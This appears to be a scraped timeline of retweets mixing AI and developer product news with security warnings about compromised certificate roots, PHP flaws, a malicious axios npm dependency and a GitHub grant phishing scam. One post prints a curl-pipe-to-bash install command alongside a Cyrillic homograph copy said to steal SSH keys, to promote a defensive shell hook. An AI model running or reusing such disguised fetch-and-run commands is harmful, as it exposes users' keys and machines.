Thomas Leiritz retweeted
Today we announce 1Password for Agents platform, building with companies @Muse, SpaceX Super Intelligence Grok @Bot, @AnthropicAI’s @Claudeai, @OpenAI, @TownAI, @Browserbase, @Browser_use, @heydana_ai, Instinct, @usekernel, @Perplexity_ai, @tryramp, @Tomo, and @wajo_ai, with more integrations on the way. 🎉
We've heard from so many of our customers who want to use these new personal AI agents to help them get more done, but want more control over what the agent can access with the same trust and ease of use they get when using 1Password directly.
1Password for Agents gives your agents access without giving up your passwords. When an agent reaches a sign-in form, it requests a credential from your vault. If you approve the request, 1Password directly auto-fills the credential in the destination site so the agent can’t see or take possession of the credentials.
The agent gets the task done, but it doesn’t get your passwords..
You stay in control. 1Password for Agents free and optional for personal and family accounts. Unless you opt-in to an agent connector, agents cannot touch your vault.
➡️Learn more: bit.ly/487da6J
Thomas Leiritz retweeted
Two classes extremely bad cyber vulnerabilities disclosed in the last 24 hours. The first potentially impacts everyone online. The second impacts nearly everyone running a server.
tl;dr: Everyone should upgrade their OS and Browser as soon as possible. If you run a server you should upgrade PHP (or ensure it’s removed if you’re not using it) as soon as possible.
The first class of vulnerabilities is a set of root TLS certificates that were discovered to have a trivial private key. Literally the number 4. These roots were controlled by #eMudhra. The problem is that with that an attacker could create a certificate and, if they could get in the traffic flow, intercept traffic to any site or service. The solution is to stop trusting certificates issued by these vulnerable roots. Upgrading your browser and OS is the fastest way for most Internet users to do this.
The second class of vulnerabilities doesn’t apply to most consumers directly, but does apply to most anyone running a server. These vulnerabilities have been dubbed #php2shell. PHP is one of the most widely used web programming languages. It’s estimated 70% of websites run on PHP. These vulnerabilities allow an attacker to send a crafted set of queries to a server running PHP and potentially take over the server. From there they could potentially read, modify, delete, or repurpose anything on the server. The solution is to upgrade PHP to the latest version ASAP. Even if you’re not using PHP for your web development, it’s often included by default. So make sure it is either upgraded or fully removed.
@Cloudflare received advanced warning of both of these classes of vulnerabilities. We’ve ensured that where we act as a proxy we are no longer trusting the vulnerable roots. We are also reviewing certificate transparency (CT) logs for any sign the vulnerability was exploited before its disclosure. We have not found any evidence but CT logs are not perfect and a sophisticated attacker who knew about the weakness could have exploited it without a new certificate being logged.
For the PHP vulnerabilities, we have deployed mitigations available for all customers for free. Because of the complexity of the vulnerabilities and number of ways it can be exploited, we also released new WAF capabilities that are unique in the industry to catch the exploit based on the response. These too are available for every Cloudflare customer for free.
Even if you are taking advantage of Cloudflare’s protection, it is important to upgrade your OS, browsers, and PHP installations as soon as possible. We can provide a strong bandaid, but the best protection is to fix the underlying problem.
If you’re interested in learning more, you can read our blogs:
Vulnerable roots: blog.cloudflare.com/emudhra-…
PHP vulnerabilities: blog.cloudflare.com/php-vuln…
Thomas Leiritz retweeted
Introducing tsrs: a Rust port of the TypeScript compiler 🦀
We are not forking TypeScript!
◆ In close collaborating with the TypeScript team
◆ Up to 8x faster than TS 7.0 & ~70% less memory
◆ Runs in WASM, so it works in your browser & on Workers
◆ Soon part of the Oxc toolchain
npx tsrs
blog.cloudflare.com/typescri…
Thomas Leiritz retweeted
Should Europe leave frontier AI to the Americans and the Chinese?
The idea has gained ground in Europe. It is a fundamental mistake.
Build or surrender: for now, the choice is still ours.
Full article below.
Thomas Leiritz retweeted
Today marks a major step for Mistral: we’re announcing a €3B Series D, the largest equity round ever raised by a European tech company, just three years after launch.
Thomas Leiritz retweeted
The US government, citing national security authorities, has issued an export control directive to suspend all access to Fable 5 and Mythos 5 by any foreign national, whether inside or outside the United States, including foreign national Anthropic employees.
The net effect of this order is that we must abruptly disable Fable 5 and Mythos 5 for all our customers to ensure compliance.
Access to all other Claude models is not affected.
We apologize for this disruption to our customers. We believe this is a misunderstanding and are working to restore access as soon as possible.
Read our full statement: anthropic.com/news/fable-myt…
Thomas Leiritz retweeted
🚨 CRITICAL: Active supply chain attack on axios -- one of npm's most depended-on packages.
The latest [email protected] now pulls in [email protected], a package that did not exist before today. This is a live compromise.
This is textbook supply chain installer malware. axios has 100M+ weekly downloads. Every npm install pulling the latest version is potentially compromised right now.
Socket AI analysis confirms this is malware. plain-crypto-js is an obfuscated dropper/loader that:
• Deobfuscates embedded payloads and operational strings at runtime
• Dynamically loads fs, os, and execSync to evade static analysis
• Executes decoded shell commands
• Stages and copies payload files into OS temp and Windows ProgramData directories
• Deletes and renames artifacts post-execution to destroy forensic evidence
If you use axios, pin your version immediately and audit your lockfiles. Do not upgrade.
Thomas Leiritz retweeted
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
Thomas Leiritz retweeted
We are joining Cloudflare!
astro.build/blog/joining-clo…
Thomas Leiritz retweeted
Anthropic is acquiring @bunjavascript to further accelerate Claude Code’s growth.
We're delighted that Bun—which has dramatically improved the JavaScript and TypeScript developer experience—is joining us to make Claude Code even better.
Read more: anthropic.com/news/anthropic…
Thomas Leiritz retweeted
‼️‼️Please share for visibility.‼️‼️
ONGOING Open Source Phishing attack!!
There is a new scam running around.
You get a fake grants github tag by fake bot which says that it targets OS projects for a gitcoin grant.
They create a fake github account with a fake project and create issues (500 of them as of now)
The email is legit because it comes from github account as it's an issue reply.
And the email seems legit
The link in the email behind grants[.]github[.com] redirects you to a fake website:
github-fundation[.]com
The github account that created this is fake and just created
If you access that link, of course they try to make me connect a wallet
Please be aware and don't fall for any free money.
They target me because of Soldeer.
Please be aware and share for visibility. THERE ARE MANY ACCOUNTS AT RISK! I contacted @github but not sure when they respond.
Thomas Leiritz retweeted
Introducing Qwen3!
We release and open-weight Qwen3, our latest large language models, including 2 MoE models and 6 dense models, ranging from 0.6B to 235B. Our flagship model, Qwen3-235B-A22B, achieves competitive results in benchmark evaluations of coding, math, general capabilities, etc., when compared to other top-tier models such as DeepSeek-R1, o1, o3-mini, Grok-3, and Gemini-2.5-Pro. Additionally, the small MoE model, Qwen3-30B-A3B, outcompetes QwQ-32B with 10 times of activated parameters, and even a tiny model like Qwen3-4B can rival the performance of Qwen2.5-72B-Instruct.
For more information, feel free to try them out in Qwen Chat Web (chat.qwen.ai) and APP and visit our GitHub, HF, ModelScope, etc.
Blog: qwenlm.github.io/blog/qwen3/
GitHub: github.com/QwenLM/Qwen3
Hugging Face: huggingface.co/collections/Q…
ModelScope: modelscope.cn/collections/Qw…
The post-trained models, such as Qwen3-30B-A3B, along with their pre-trained counterparts (e.g., Qwen3-30B-A3B-Base), are now available on platforms like Hugging Face, ModelScope, and Kaggle. For deployment, we recommend using frameworks like SGLang and vLLM. For local usage, tools such as Ollama, LMStudio, MLX, llama.cpp, and KTransformers are highly recommended. These options ensure that users can easily integrate Qwen3 into their workflows, whether in research, development, or production environments.
Hope you enjoy our new models!
Thomas Leiritz retweeted
Don't sleep on this! 🔥
@Meta dropped swiss army knives for vision with A2.0 license ❤️
> image/video encoders for vision language and spatial understanding (object detection etc)
> VLM outperforms InternVL3 and Qwen2.5VL 🔥
> Gigantic video and image datasets 👏
Thomas Leiritz retweeted
🛰️ Iris2 is a multi-orbit constellation of approximately 300 satellites that will deliver resilient, secure and fast communications for EU governments and European companies.
📺 Join us live today to witness the signature of major contracts for Iris2 from 10:00 GMT/11:00 CET➡️ esawebtv.esa.int/2
Thomas Leiritz retweeted
Welcome to the world, Gemini 2.0 ✨ our most capable AI model yet.
We're first releasing an experimental version of 2.0 Flash ⚡ It has better performance, new multimodal output, @Google tool use - and paves the way for new agentic experiences. 🧵 goo.gle/gemini-2